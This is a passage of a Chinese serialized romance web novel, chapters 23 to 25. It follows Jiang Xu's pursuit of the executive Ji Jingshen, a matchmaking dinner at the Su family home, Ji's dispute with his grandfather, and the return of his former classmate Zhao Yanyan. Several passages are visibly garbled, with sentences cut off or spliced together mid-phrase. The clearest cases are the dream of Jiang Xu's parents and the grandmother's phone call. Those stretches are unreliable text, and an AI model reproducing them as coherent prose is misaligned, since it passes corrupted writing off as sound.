姜许心思微动,靠在了推拉门上,目光灼灼地看着季惊深。察觉到她的视线,男人转头看过去:“再等两分钟,先去沙发上坐着。” “季惊深。”姜许喊他的名字:“你和女生的接触不多,可能不知道,这样过多的照顾,会影响不好。” 季惊深关了火,暗灭手机,侧身转过来和她平视,而后缓缓开口: “姜小姐想说,你对我,有别的想法?” 嗯。 嗯?! 第23章 第23章【VIP】 朝阳的光线倾斜着从白色的纱帘透了进来,落了一缕在姜许脚边。 姜许静默了两分,没想到季惊深能够这么直白。思绪转了一圈,她坦诚地回答:“对。” “看上你了。” “有点喜欢你。” 娇矜又认真的语气。 季惊深的眼神幽深了几分。 有点喜欢,还不足够。 方厌说得没错,他们这样性子的人,对于喜欢的,并不吝啬告白追求。谈是认真谈,可也不会持续很久。喜欢来得太突然,或许是因为一句话,又或许是因为一点的肢体接触。待那股子冲劲散下去之后,他会和前面几任一样。 “所以,姜小姐打算怎么做?”季惊深收回视线,弯腰从橱柜里拿出一个瓷白的碗,将红糖水盛了出来。 问题再次抛给了姜许,她再一次觉得,这男人的段位实在是太高。大概是久经商场,做事滴水不漏,他们之间的地位主导,姜许就没有占据过什么上风。 “我打算追求你。”姜许朝前走了两步。男人实在是有些高,室内只穿着拖鞋的她,还需要仰头才能和他对上视线。 眉眼浅压了两分,她伸手握住了季惊深的手。十指相扣,男人掌心的温度比他高上不少,很暖,很舒服。 姜许能察觉到掌下手心的微微僵硬,没有甩开,却也以一种冷静而沉的目光看着她,无声地指责。 “我极少主动追求人,对于这方面不太熟练。大概是,会邀请你吃饭,当然,如果你空闲时间足够的话,逛街,散步,之类的活动,我都会邀请。对了,还有送礼物,每天不间断的联络。” 办法的确不新颖,也足以见得她有多生疏。 唯独这调戏人的行为—— 季惊深的视线往下移动,落在他们十指交握的手上:“也包括时不时对我占便宜的举动?” “没有。”姜许松开手,还不忘在此之前轻轻地挠了挠他的手心:“这是在测试你的肢体是否对我有排斥反应,这是我能不能追你的前提。” 生理性厌恶是姜许最讨厌的,不管多么喜欢,只要身体不接受,她就不会继续这段感情。同理,对于季惊深来说,也是一样。 “这样啊。”季惊深的声音平缓,听不出任何情绪:“红糖水好了,先喝一点。这会时间还早,你该补个觉。” 所以这是同意还是不同意?姜许压根猜不透季惊深的心思。 她在感情上实在是没吃过什么瘪,哪怕在南江,她爸妈的事业刚刚起步毫无知名度那会,她在学校里也是深受小屁孩的喜欢。后来上了初中,情书告白,更是没停过。 这是她第一次那么坦率地说要追一个人,要是对方在这会就已经拒绝她—— 洗干净了厨具,季惊深将手擦干净,望向餐桌上喝一口得搅弄个三四次的姜许,缓声开口:“我还没被女生追求过,姜小姐不妨试一试。” 姜许从红糖水中抬头,细密而卷的睫毛颤了颤,打量的视线在季惊深身上来回:“不可能。” “为什么?”季惊深坐在了她的对面。 姜许:“你这条件都没被人追求过,可能吗?” 季惊深垂眉,片刻后道:“我自小和女生接触少,家里管得严。” “在国外十年也没有?” “姜小姐觉得我在国外的十年,季家就管不到了吗?” 一时无言。 姜许想起了俞晓染说的。 高中那会,喜欢季惊深的女生不少,可没有一个人是敢表露心思的。他被季家捧在手上,也等同于奉在神坛之上,*无人敢靠近。 上次还听明礼哥说过,本以为季惊深难以相处。结果没想到他却很给面子,不着调的邀约赴了两三次,哪怕是不能来,也会解释一番。他只有方厌一个能说话的朋友,国外十年也大多用电话来往。 人总是一个害怕孤单的种族,季惊深也不会例外。 “吃饭,逛街,散步。”季惊深一个个念出来:“说来不怕姜小姐笑话,这样悠闲的度过时光,我很喜欢。所以姜小姐,我很期待你的追求。” “……” 快七点的时候,姜许又有了睡意。这次她睡得很浅,梦里竟然久违地梦到了许清秀。 是在她十岁那年的生日了,家里没有大半,切蛋糕的时候许清秀才献宝似的拿出了一沓照片:“宝宝你快看看,这些哥哥里面有没有喜欢的?” 她爸姜广随本本分,第一次脸上出现了几分愠怒:“许宝还小,你干嘛给她看这种?” “都十岁了,可不小了。想当年,我八岁就和隔,老姜你思想别那么陈旧行不有条件,不然我肯定从小开始搞个老公养着,自己教自己用。” 她妈的思想向来新潮,据说当年只是看中她爸的外貌打傻憨憨地红着苦,坚持要陪她生下自己,这两人也不会结婚。 “祁州,你把开心地闷声说了句。 许清秀的声音骤然拔高,两人吵了起来。当然,只是姜广随单方面的被训斥。 姜许懒得听他们拌嘴,小尾巴似的跟在姜祁州身后,又耍赖地爬上他的背后咬耳朵:“哥,你给我看几张。” “叔叔说不给你看。”姜祁州一边扶着她,一边拿着照片。 丢进垃圾桶时,姜许伸手去抢,照片跌落了一地。圈子里和她年纪相仿的七八个小男生的照片印入眼眸。唯有一个,看上去应该是她妈偷拍的。 只有一个背影。 身形消瘦,一身白色的卫衣包裹住他,身后是带溪流的宏伟别墅,比他们家的,好看多了。 再次醒来,已经是十二点。今天还有工作,沈好好那边的图她得亲自处理。似乎,忘记了什么—— 震耳欲聋的电话打了进来,姜许的心都一惊,没好气地看了一眼来电提示,接听:“有事吗俞大小姐——” “哇靠,还有事吗,你今天要陪我去吃饭,你别告诉我你忘得一干二净!” ……是有这么个事。 姜许真的想摆烂了。 她本来就是低能量人群,一天做一件事就已经累得不行,更别说这会亲戚加身,还得工作,还得陪俞晓染去见苏家那几位。 她能现在反悔吗? “你现在反悔信不信我吊死在你家门口!” “……不至于,怪吓人的。”姜许艰难地起了身,药效的作用还没过去,这会除了感觉身下有些发热的黏糊之外,也没有太多的不适应感:“我下午得去星好一趟,你的饭局几点?” “七点。”俞晓染道:“苏见安和苏观明都得工作,六点下班,七点吃饭。诶,你说但凡要是和他们其中一个成了……苏观明我就不说,考古系教授,话题没有这还不说。那苏见安可是那个什么局的,但凡有点什么任务,研究所里一待就是几个月。姜许,我不管,我谁都不能成!” “苏观明是北安大学的教授,可见谈吐气质都不凡。苏见安一个经常做实验的,平时肯定心细有耐心。无论是哪一个,对于你来说,都是能带你进步的另一半。再说了没见面之前,你这么着急下定论做什么?还有半天时间,你自己好好想想是搅黄还是认真对待,别整天只想着玩。” 俞晓染炸毛:“我怎么就只想着玩了!姜许,你还比我大半岁呢,你都不急凭什么催我!” “我催你个屁。”姜许真想给俞晓染一榔头:“我这是在客观地和你分析优缺点,你爱谈不谈。” 俞晓染:“你凶我,我讨厌你!” “哦,那我不去了。” “那我就去你家吊死!” 挂断俞晓染的电话,姜许化了个淡妆,又搭配了件素雅的长裙,穿上外套,开车去了星好。 姜祁州今天并没有来星好,锐安那边事情多,他也鲜少将重心放在这边。只是姜许到地方的时候,那头打来了电话:“出门了?” “嗯,在星好,准备上班。” 姜许现在还是无法直视姜祁州,昨晚的画面反复脑补。她那看上去一本正经的哥,居然连不要名分,甚至愿意被玩弄这种话都说得出来,还强吻好好姐。 啧,爱情这种东西,可怕至极。 “昨晚你折返回来了?”姜祁州突然问。 姜许不自然了两秒:“什么?” “别装不懂,我听连港说,看到你和季惊深走在一起。” 原来是这个。 姜许浅浅地松了一口气,还以为听墙角的事情暴露了。 “对,他昨晚住我家,我们还亲了。” 虽然那个吻是意外,而很明显的,今早酒醒的季惊深也丝毫不记得这件事。但是事实存在过的,她没有造假。 “挺好。”姜祁州声音温和了几分:“我们兄妹两,总得有一个是幸福的吧。” 一瞬间,姜许的鼻子都开始冒酸了,转移注意力般地点开了沈好好的照片,她劝道:“哥,会有更适合你的。” “嗯。” 会更合适的,不会有更喜欢的- 清江别墅区。 “得亏我们提前一小时出发,谁知道这地方那么远啊!你看到没,这后面都是森林!这晚上会不会有狼啊!” 俞晓染碎嘴子就没停下来过。她们都住在北安的南边那一带,而这苏家的,是在北安的北边,这一来一回,折腾了不少时间。 “这里只是偏郊区,而不是原始大森林。”姜许扫她一眼,又看到她不太乐意的脸色,轻咳一声:“表情管理做一做,再板着脸信不信我扇你?” 俞晓染瞪大眼睛:“姜许你今天怎么这么暴躁!” “我是为了你们特越的名声着想。”姜许懒得解释,她本来就特殊期,这会已经算好了,真正脾气暴躁起来,她都恨不得炸了地球。 走进去时,苏老爷子正和一个娃娃脸的男人下着棋。余光看到了他们,苏老爷子很快放下黑子,笑眯眯地道了句:“俞丫头来了啊,这位……是姜家那丫头吧?之前听祁州那孩子提到过你,果然是活泼开朗,招人喜欢得很。” 活泼开朗,招人喜欢。 姜祁州这鬼话说得可是越来越顺畅了。 姜许朝苏老爷子笑了笑:“老爷子好。” “好好好,都是乖丫头。”苏老爷子笑道,又看向跟前的小孙子:“这位是见安,那位是观明。我这老家伙在这里,你们年轻人恐怕会拘束。正巧我吃过了,你们随意,我出去转转弯。” 苏见安长着一张娃娃脸,年纪也有二十七八了,看上去跟大学生差不多。而苏观明则是更为沉稳一些,一身老气的中山装,却衬得他这个人清冷卓越。 苏老爷子一走,餐桌上很快端上来了一桌子的菜。俞晓染被姜许拽上了桌,犹豫片刻,直截了当地开口:“我,我其实不太想这个年纪找男朋友的,你们能理解吗?” “当然,我和我哥也是这么想的。”苏见安笑眯眯地道:“所以俞小姐姜小姐放心,今天就是吃个饭,聊聊天,回去我们各自应付就好。” 俞晓染立马拍手:“太好了,果然是国之栋梁,一点就通!祖国需要你这样的人才,绝对不能因为区区的爱情,而阻挡了你的事业。” 姜许:“……” 合着互相都没意思。 “那姜小姐呢?”苏见安又把话题落在了姜许的身上,杏眼眨了眨:“是陪同还是说看上我们两个的某一个了?虽然我潜心研究,但是我大哥……” “我就是陪同过来的。”姜许道:“而且,我有喜欢的人了。” “哦哦,那祝贺姜小姐。” “……不用,我目前还在追求阶段。” “那我这提前祝贺一样的,俞小姐和姜小姐性子乖巧,模样好看,家世也不错。放眼北安,天王老子也是配得起的,只不过是时间问题。” “……谢谢。” 也没说这位是这么社牛的人- 季惊深回到老宅时,已经有些晚了。晚饭的时间已经过了,佣人端上来了季老爷子特地安排准备的餐食。 “喵~” 门口传来细微的声响。 季惊深放下筷子,往门口看去。刚才还没注意,院子里的花丛里蜷缩着一只布偶猫。它的体态看着老了不少,大概是环境陌生,此刻正不安地拱着背,做出防御姿态。 “本想着白天就带过来,熟悉熟悉环境没那么怕生,没想到年纪越大这性子倒是越胆小。”季澜之扶着季老爷子从楼上走了下来,笑看向季惊深:“这小猫你还记得吗?当初你非得要养。你那身子骨哪能养这些小猫小狗的,染上细菌可怎么办。再说了,真要人照顾,你张伯他们养着更适合。你瞧,这都十几年了,还活得好好的。” 季惊深不语,又动了两下筷子,已经是没有任何食欲。他示意一旁的宋姨收拾,起了身,坐在季老爷子和季澜之对面。 他往外头看了一眼:“宋姨,让张伯把平安带回去吧。” 平安,他给那只幼猫……不,那只健康长寿的猫取的名字。 季澜之:“我怕你想念得紧,这才看了两眼,就送回去了?” 季惊深看他:“您无非就是想告诉我,它离开我之后过得更好。我如今看到了,也不用非得让它留在这里,平白被折磨。” 布偶肠胃脆弱,也容易应激。更何况年纪不小了,经不起这样的折腾。 十几年前,他从垃圾桶里捡回这只幼猫,好不容易把它救活,没过几个月就被送走,他们没考虑过他和幼猫的想法。如今他和平安各自安好,他们又一意孤行带了过来,只为和他证明当年他们的决定,是正确的。 他们从来不会觉得自己做的事有任何不对。 “你明白我和你爷爷的用心就好。”季澜之淡笑:“过几天你母亲也该回北安了,我们一起吃个饭,见个面。” “好。” 季老爷子打量着季惊深的神色,又想起近日听闻的事情,不动声色地道:“逸安这些年的内部动静不小,安棠又才发生了那些事。你也是刚回来,还没站稳脚跟,这一举一动,外头都盯着。有些事,可不能只顾着自己的心意行事。” “旁的不说,上周和踏江谈下的项目,比去年多让利0.5%,一年就是两个多亿的节省。我是没站稳脚跟,可也不代表,所行之事不足以接任逸安。” 季惊深平静地抬眸,与之对视着:“老爷子,十五岁我年纪尚幼,凡事依赖家里,喜好之物在我身边的确不会过得好。可现在不一样,我喜欢的,我中意的,我自己看着,护着。别的人,不会比我养得更好。” 第24章 第24章【VIP】 季老爷子没想到自己向来听从安排的长孙会说出这样一番话。 其实从姜许送季惊深回来那晚,他就察觉到了不对劲。他和季澜之旁敲侧击了数次,想着再怎么着,这涉及到逸安和他的前途,他多少会顾及一些。可表露出来的态度,却比他意向之中的更强硬。 温水还漫着雾气,他近日有些失眠,这茶都喝得少了些。一生权势滔天无数人忌惮的他,也到了油尽灯枯的年纪。 季老爷子握着温水,浑浊的眼神看着季惊深:“看上姜家丫头了?” “是。” “你和她这才见过几次面,惊深,感情之事需要细水长流。我看,你对那丫头也就是有点心动罢了,及时斩断就好。回头你多和温家丫头见见面,虽然现在没感情,但是慢慢培养就好了。” 面前同样摆放着干净的杯子,季惊深握着水壶,手上使力的瞬间,如竹般冷白好看的手指彰显出淡淡的经脉。 温度有些过高,他也不着急饮下,语气凉薄了几分:“千人千面,在我这里,感情不需要培养。” 一眼喜欢,就是喜欢。 其他的,再怎么相处,也不会有半点多余的感情。 “惊深!”季老爷子的声音历了些:“你们不合适。” “那老爷子觉得怎么样才算是合适?像我父亲母亲这样,又或者二叔二婶那样?”季惊深轻飘飘地反问:“我心智不成熟之前,老爷子管着我,不至于让我误入歧途。可现在,是否合适,该怎么选择,我有自己的考量。” “时间不早了,您年纪大了,该早点休息。” 从老宅出来,走过了江上的桥,季惊深上了车。 手机里是他外婆的未读消息。 外婆喜欢赶潮流,生怕被时代丢下,这些年也开始使用智能手机,不太灵活,但刷刷视频发朋友圈这些,倒也是得心应手。 最上面的是一段视频。 是在外公的宅院里,姜许难得穿着素雅的长裙,温浅地笑着。她是刻意低调,却依旧难掩眸子中的灵动明艳。 季惊深一直明白,他和姜许是两个性子截然相反的人。 早年他身子骨弱,三岁时生了场大病,一年之内动了七八次手术。所以从他记事开始,所接受到的理念,是不能有太多情绪,不能交友,也不能随心所欲地做自己喜欢的事。 他得对自己的身体负责,也得对整个季家负责。季老爷子乃至各位叔婶,当初为了他的身体,求访了各国顶尖的医生。他一旦出了事,辜负的是季家的所有长辈。 而他生为长子,也被寄予厚望。十五岁开始接触经融方面知识,十六岁增加两门新外语课业。十八岁出了国之后便被安排进逸安对接的合作子公司中,在公司和学校之间连轴转。 季家给他安排了最好的医生和理疗师,也同时以最高的标准要求着他。 他的人生,可以用死气沉沉来形容。 十五岁那年,民江风头正盛,作为主家举办宴会的那一次,他曾陪着季澜之一同去随过礼。别墅不算大,庭院却很开阔。两侧种满了各种各样的花,生机勃勃。 季澜之并没有打算带他进去,只是在门口随了礼。再次上车时,他余光瞥见穿着亮黄色公主裙的姜许。蹦蹦跳跳地攀上了姜祁州的背,笑得乖张又得意:“快说,姜许是最好看最好看的公主。” “到底是半路出家的企业,教出来的女儿就是没规矩。”季澜之说了一句。 车子很快开走,视线之中再也看不到那一片艳丽的颜色。 季惊深在人生中头一次反驳了季澜之说的话:“不是所有女生都得温婉大方笑不露齿,她那样的,也很好。” 季澜之看他一眼:“惊深,你少跟你外公来往。咱们家和他们家不一样,你可别被带坏了。” 那之后的很多年,他没再见过姜许,直到回国的那天。 他心动了。可人生路上重要的事太多,他选择了不去理会那份只是稍稍发芽的种子。奔走于逸安和柒渔,琐事缠身,平静像死水一样的日子,仿佛一眼到头。 直到他偷闲那日,休息室的门被推开,他看清了她眼中的惊叹和喜欢。 “抱歉,我不知道有其他人在。” …… 根本,不需要抱歉。 视频反复播放了很多次,直到快到别院,苏老太太的,瞧见视频没?你看这两对多般配啊,,热闹的哟!” 季惊深垂眉:“您老想的未免也太远了些。” “怎么这小子对俞家丫头有意思,能成!至于姜家丫头和观明,唉,苗头没怎么有,。” 季惊深语气温浅,却多了谱。” 苏老太太立马火急火燎地骂道了,姜家丫头是顶好顶好的,可观明也不差啊。” “是不差,可姜小姐有中意之人。” 苏老太太:“你怎么知道?你整天忙着你们那逸安的事,还有闲心乱打听姑娘家的事呢?小深我可告诉你,姑娘家的事不能乱说,回头传出去是要误了人家的!” “没有乱打听,是姜小姐自己告诉我的。” “告诉你什么了?” “她心悦您的外孙。” “……”- 本来两个小时的饭局,硬是折腾到了快凌晨。 苏家老宅临近郊区,离游乐场并不远,恰逢最近那边在举办活动。结果苏见安和俞晓染一拍即合,饭局结束后,就赶到了游乐场。 姜许实在是顶不住,中途多吃了颗药,可还是扛不住身体的疲倦,提前离了场。回到家后,匆忙地洗了个澡,贴了床,再次拿起手机准备刷睡前视频时,微信的红点还没清完。 俞晓染的“问候”消息,冷漠地回个句号足以。至于姜广安的废话文学,当做没看到。还有就是—— 季惊深:【听闻姜小姐今天陪俞小姐一同去了苏家。】 消息挺灵通的。 不过也正常,苏家是季惊深的外祖家。虽说他父母感情并不合,听闻在他很小的时候就因为工作的原因异地,但季惊深和苏家的关系不错。路上还听苏见安提起过几嘴,说是苏老爷子最钟爱这个外孙,要不是季家不允许,早就把人抢过来改姓苏了。 姜许打了个“嗯”过去。她实在是累,低精力人群这会只想着刷手机赶紧睡。 却不想,下一条消息很快回复:【外婆有意撮合你和苏观明。】 好像是吧,送她出门时,那个和善的老太太一个劲地把她往苏观明那边推。只不过是四个人的车,倒也没有很明显。 眼皮要上下打架了。她扛不住了,这会助眠视频都不需要看,手机从手上垂落到被子上,姜许迷糊地睡了过去。 距离上一条回复消息已经过了半个小时,右上角的时间也在告诉着季惊深该睡觉了,可他的目光依旧执着幽深地盯着和姜许的对话。 没有回复。 是睡了还是? “季总,季老板,季大少爷,真不是我泼你冷水。姜许那名正言顺交往过的男朋友是不多,可她见识过的,逗趣过的帅哥可是一抓一大把。今天她可能会对你有点兴趣,但是说实在的,咱们这种人啊,三分钟热度,不能再多了。按照你这样的,目前北安无代餐,三个月吧,应该是能够坚持到的。” 三个月吗? 在那之前,他得抓紧时间- 次日十点,姜许是被腹部的下坠感给烦醒的。不至于和第一天那样痛,可也是不好受的。 照例看了眼手机上的消息,姜许这才后知后觉地反应过来,昨晚季惊深的消息她没回复。也就前两天信誓旦旦地说要追人,这不,转头被撮合和他的堂哥去了。 手指上飞快地打着字,姜许:【我和苏先生都没有这方面的意向。】 姜许:【最近我的目标是你,不会那么快转移。】 不会那么快,就是,还会转移的意思。 季惊深的眸子更深了几分,淡淡地回了个“嗯”过去。 姜许也没怎么在意,事情是解释清楚了,而且对于她来说是无关紧要的,自然没有放在心上。和何月唐渺渺他们说了声,又在三人群里汇报了行程。半个小时后,姜许看着座位上的季惊扬,瞬间气笑了:“你们专业就这么悠闲吗?” 他都和自己团队里的几个打成了一片,又是送吃的又是姐姐的喊着。怎么说星好和他们家柒渔多少也带点竞争关系,这位太子爷直接堂而皇之地进来,还大咧咧地看着他们最近拍摄的作品。 “下午没课,哎呀,姜许姐,我都好久没见你了,来,贴贴。”季惊扬嘿嘿一笑,拿着奶茶递了过去。 “我喝不得凉的,你也少喝点,年纪轻轻的,不是喝酒就是碳酸饮料奶茶。”姜许把人推开,在位置上坐下,打开了电脑,又督他一眼:“所以,是心情不好,还是要陪着?” “就,学校无聊了嘛,来找找你,顺便八卦一下。”季惊扬把脑袋凑了过来,声音压得很低:“你和我哥?” “努力着呢。”姜许说,见他又要八卦,做了个“嘘”的手势:“我这工作加急,你一边玩去,等我忙完了再找你。” “行吧。”季惊扬怏怏不乐地在她身边坐下,耷拉着脑袋。最近姜许是真的忙,自从他腿伤之后,两个人之间就没怎么见过面。怪想念的。 消消乐玩了一半,季惊扬收到了季安喻的消息。 季安喻:【三哥,大哥最近的八卦你听说了吗?】 他和季安喻年纪相仿,虽然当年因为季安棠之间有些隔阂,可终究是血浓于水,家里两个长姐长兄又古板,平时家里找个聊八卦的,也就只有季惊扬了。 他是听说了吧……还在另一个当事人旁边。 季惊扬心虚地看了一眼身边的姜许,飞快打下一行字:【安喻,我最后再说一次,姜许姐超级超级好,你敢作妖就当做没我这个堂哥。】 季安喻:【……】 季安喻:【他们这八卦算个屁啊!不是早百年就有了吗,爷爷都念叨好几次了,我并不care好吗!】 她依旧不喜欢姜许,不过她也护短,至少目前为止,姜许对她三哥挺好,也没害过她大哥。她嘴上是说话难听,可也就是嘴嗨两句,不会作什么妖。 真当她这个季家的四千金一点素质都没有吗!! 季安喻:【我听说,这两天有人往逸安给大哥送花呢。黄玫瑰,九十九朵的那种!】 季安喻:【要不,你去看看究竟?我上次惹了大哥,等会再惹一次,我就彻底完了。】- 傍晚时分,晚霞高挂。 姜许从车上下来,眼神依旧狐疑地看着季惊扬:“你真没搞什么猫腻?” 下了班,时间刚好,也不晚。她这邀约季惊深吃饭的消息还没发出去,就被季惊扬制止了。 “我问过了,今天一整天我哥都在逸安,咱们直接过去就行,给个惊喜。男人嘛,也是需要惊喜的。” 哪门子的惊喜。 他真以为季惊深和他一样,随叫随到?姜祁州事情都一大堆,她要是不提前一天预约,别说吃饭了,面都难见到。 孩子反常必有妖。 靠在车边补了个口红,确定自己的气色妆容都处在一个完好状态后,姜许把包往季惊扬身上一丢,红唇勾了勾:“不过你倒是提醒我了。季惊深这会跟香饽饽一样,我得高调些。” 可不嘛。 这不就有人想要先你一步篡位了…… 季惊扬一边想着,一边往旁边不断地探着脑袋。余光瞥见不远处一个站着的女人,年纪和他大哥相仿,一身包裹住的黑色长裙,看上去成熟而有韵味。 不会就是这个吧…… 他想要拿起手机准备汇报,却又被姜许训斥了一句:“你打量的眼神给我收一收,别贼眉鼠眼的,等会被人请去喝茶别说我认识你。” “知,知道了……”季惊扬懊恼地摸了摸自己的鼻子。他就是八卦心重,没别的意思。 说是这么说,姜许也忍不住看了两眼。长得不算是特别精致的那种,只是浑身的知性气质,极具女性魅力。是她欣赏的类型。 收回视线,姜许正准备继续往前走。不远处便看到了季惊深从大厦一楼内走了出来,比平时更为正式的西装,握着手机对那头说着什么,腕骨处的手表露了一小节出来。深蓝色的色调在银灰色西装中,吸睛而显眼。 她加快步伐,没等她走到跟前,安静站着的黑裙女人开了口—— “季惊深,我们谈一次好不好?” 第25章 第25章【VIP】 坐落在逸安对面的咖啡厅,位处于市中心,一杯难喝至极的咖啡,也得要上八十八。姜许冷着脸将糖丢进杯子里,搅拌,浅尝一口,又皱着眉继续重复刚才的步骤。 “要不,我到隔壁给你买杯奶茶?”季惊扬小心翼翼地开口。 半个小时前,他们就前后脚来到这家咖啡厅。他哥这会,正跟着那位成熟好看的姐姐聊着天,而他和姜许姐隔着不近不远的距离,也在这家咖啡厅坐下。旁边的谈话渐入佳境,伴随着一句声音略有些拔高的—— “季惊深,我不相信你没喜欢过我。”开始,姜许的脸色就没好看过。 “不用。”姜许抿了抿唇,又深呼吸了好几口气:“谁没有个过往。” 她也就是特殊时期,一时间气不顺而已。仔细想想,别说季惊深曾经喜欢过了,就算是谈过又能怎么样?人生这辈子,又不是只会谈一场恋爱,她的过往不也一堆情事。 季惊扬:“可是我觉得你的表情,看着不像是没事的样子。” 姜许瞪他,季惊扬立马打了个激灵:“三分钟,我立马给你搞来那女人的信息。” “……你隔这演霸总短剧呢,私查他人信息,你主犯我从犯,回头牢里咱们对对看。” “……” 姜许这边的动静不大,可偏偏她长得就是惹眼。轻皱眉头,唇角不耐烦地压着,甚至于搅拌着冰糖的动作,都吸睛招人视线。 季惊深看了两眼,在赵颜颜笃定而又自信的语气中回了目光:“赵小姐,如果是以前做的事给你产生了这样的误会,我向你道歉。我对你,从来没有这样的想法。” “赵小姐……”赵颜颜苦笑一声:“你以前不是这样喊我的。” 赵颜颜,赵同学。无论哪一个,都比现在这声“赵小姐”要更为好听。 “当年的事,季惊深,我向你道歉。我没想伤害你的,只是对于当时的我来说,我别无选择了。”赵颜颜从包里翻出一张银行卡,递到季惊深面前:“这里是三十万。我,我知道你不缺,但是我还是想给你。算是,我对过往的一个补偿。” 季惊深微微抬了抬食指,骨节线条流畅而修长的指节扣在了那张银行卡上。他的眉眼更淡了几分,幽深的黑眸在抬起的那瞬间,平添了几分冷意:“赵小姐,我当年就说过,如果你觉得对不起我,那么就麻烦你这辈子,都不要出现在我的面前。赵小姐,你食言了。” “是,我是食言了。”赵颜颜自嘲一笑。这些年她增添了不少阅历,从一个山区里走出来的丑小鸭,一点点地变成了处事游刃有余的白天鹅。此时哪怕是被直白地“送客”,脸上也看不出几分难堪之意,反倒是大大方方地承认: “其实我一直都在西宁那边工作,前不久才会北安接手一个项目,听闻了你回来的事。他们说,你这些年从不接触任何女生……季惊深,我想过离你远远的,不再耽误你的生活。可我心中总是有这么个幻想,或许,你是因为我——” “赵小姐想多了。”季惊深打断她的话,将那张银行卡推了回去:“当年只有十万,我是生意人,不是放高利贷的。赵小姐实在过意不去,可以向福利院捐献。” “季惊深,我不信。”赵颜颜笑道:“我不信你对我一点其他的感情都没有。我会在北安待半年,你怨我恨我都好,我会一点点弥补你。”- 苦涩难喝的咖啡硬是被姜许磨蹭着一点点喝完了。 “好饿啊……”季惊扬扒拉着菜单,思索着要不要点一些小蛋糕垫垫肚子时,一道熟悉不已的声音插了进来—— “想吃中餐还是西餐?” 季惊扬吓得拿着菜单的手一抖,讪笑着不知道该怎么解释他们这一明目张胆的跟踪行为时,对面的姜许已经替他做了选择:“中餐。” “对对对,中餐,我记得对面就有一家不错的中餐。哥,我请客!”季惊扬赶忙接了话茬。 季惊深:“不用,你那点零花钱,留着自己花就好。”他又把目光转向姜许:“我去结账,在这里等我一会。” 姜许点头,在他离开后,视线不经意和不远处还没离开咖啡厅的赵颜颜对上了视线。她依旧优雅地吃着桌上的小蛋糕,注意到姜许的目光后,温柔地笑了笑,又笑看了一眼季惊扬。视线在他们之间来回了两秒,显然是误会了什么。 心中郁结着,姜许先起了身,正巧和结完账的季惊深对上。不假思索的,她主动牵住了季惊深的手。男人审视的目光再次落下,姜许强装淡定,眼神心虚了两秒:“身体不舒服,你借我靠会。” 不等季惊深拒绝,她又再次道:“就这次。” 季惊深微微颔首,。只是一个马路的距离,却硬是加上红绿灯各种,慢悠悠地走了七八分钟。期间,季:“等会还要,以后抗药性多了,对身体不好。” 全程被忽视的季惊扬已经开始重建内心崩塌的世界。 牵手。 他哥跟姜许牵手。 没甩开。 没,甩,开? 季安棠的消息还在不断地发过来,他刚匆看到了一句话—— 这个女人对于大哥来说不一样! 哦。 姜许对于大哥来说,更更更不一样。 ,真落后。 “没那么严重。”姜许低头。这会已经走到了包厢门口,赵颜颜早已经不见了踪影。冷静下来后,她不由得开始唾弃了几分自己。松开了交握的手,她推开包厢的门走了进去,随意找了个位置坐下。 度,季惊深静默了一秒,也跟着进去:“这里的汤味道不错,对身体有好处, “也不用。”姜许将菜单递给表情微妙的季惊扬,眸光低垂了两秒又重新抬起:“其实我没什么事,季惊深,我刚才就是觉得那个好看的姐姐对你有意思,所以想宣誓主权。” 季惊扬:“??”这是可以直接说的吗? 他好像不理解感情的世界。 “不过——”姜许顿了顿,眼尖的服务生已经上好了茶。茶水闻起来带着几分清香,她握住了杯口,微微热的温度传来,她故作大方地笑笑:“反正你现在单身,有选择权。也没有哪条法律规定不允许你同时接受两个女生的追求,我不介意。” 才怪。 姜许也就是嘴上说说,内心怎么计较,性子怎么小*气,她在季惊深面前,都得装出一副大度贤惠的样子,可实际却默默地做了个决定。 她这人小心眼得很,上一段感情断崖式分手就是因为对方接了吻戏。她在情感上有着很奇怪的洁癖,过往未来不究,现在她喜欢的,不管是暧昧期还是恋爱期,对方都得干干净净的。 要是季惊深接受同时被追求的话—— “我介意。”季惊深黑眸沉沉,一想到姜许刚才说的话,心中不免升起几分躁意。 他没有什么感情经历,只是从他的角度而言,喜欢一个人,是该有占有欲的。譬如正人君子如他,嘴上说着的,从不介意姜许的过往如何。可真正在那些个对她有意思的男人面前去,却也失了风度,争风吃醋一般幼稚。 眉心紧了紧,季惊深补充一句:“我和她之间,不会有任何可能。” 茶水入了口,有几分甜。姜许“哦”了一声,心情莫名地愉悦了几分:“你的意思是,我和你,很有可能。” “是这个意思。” “……” 不是,这气氛是不是暧昧了一些? 季惊扬有些如坐针毡,觉得自己应该识趣地赶紧离开,可偏偏吃瓜好奇的心怎么都压抑不住。好不容易等到了上菜,他忙不迭地用公筷给季惊深夹了两块肉:“哥,那个姐姐是不是高中那个?” “嗯。” 季惊扬更急了:“别光‘嗯’啊,哥,你高中真喜欢她啊,还因为和她早恋被爷爷丢到国外十年?” 季惊深蹙了蹙眉,他放下了筷子,明明面色平静得毫无情绪起伏,却让季惊扬看得心里发毛不已:“哥,我,我就是好奇。那当年是……” “赵小姐家境不怎么好,上学期间被欺负,我出于礼貌帮过几次。后来发生了一些事情,对她和我影响较大,为了避嫌,我才出了国。”季惊深话是对着季惊扬说的,目光却至始至终落在姜许身上:“这次见面,对我而言只是叙旧。” 他没喜欢过赵颜颜。 他们学校被称为圈子里的联姻学校,收的大部分都是高门贵子。当然,也有一些例外。赵颜颜就是那样的例外,从山区出来的女生,一路披荆斩棘拿到了那年中考全省前五十,被作为特例招了进来。 她很自卑,常年低着头,穿着泛白的黑色短袖,黑框眼镜罩在鼻梁之上,看不清容貌。开学的一个月后,他看到了赵颜颜手臂上的淤青。听闻她家里还有个弟弟,父母并不想让她继续读书,开学典礼那天就来闹过。 那时的他心里虽然有几分同情,却也并不打算做什么。直到那天,十月的天气依旧艳阳高照,他提前从体育课上离开,回到长长的走廊时,却听到崩溃的求饶声。 绝望,而又无助。 他闭了闭眼,终究是看不下去。 这是他第一次和赵颜颜说话,女生蜷缩在角落里,衣服已经被拽得破破烂烂,只能无助地遮住自己的胸口。全身伤痕累累,新旧交错。原来,她不止在窒息的家庭里卑微如芥草,在这个所谓光鲜亮丽的学校里也饱受欺负。 那一瞬间,季惊深竟疯魔地生出一种想法。他和赵颜颜在某种意义上是一样的,对于人生,无法选择,无法反抗。 “穿上吧。”他折返回教室将外套递给赵颜颜,而后绅士地背过身去:“我没有女生的衣服,你先将就着。” 那之后,季惊深的身后多了个尾巴。赵颜颜开始跟着他,走到哪跟到哪。他很清楚,赵颜颜在借着他的权势。可他没有拒绝。 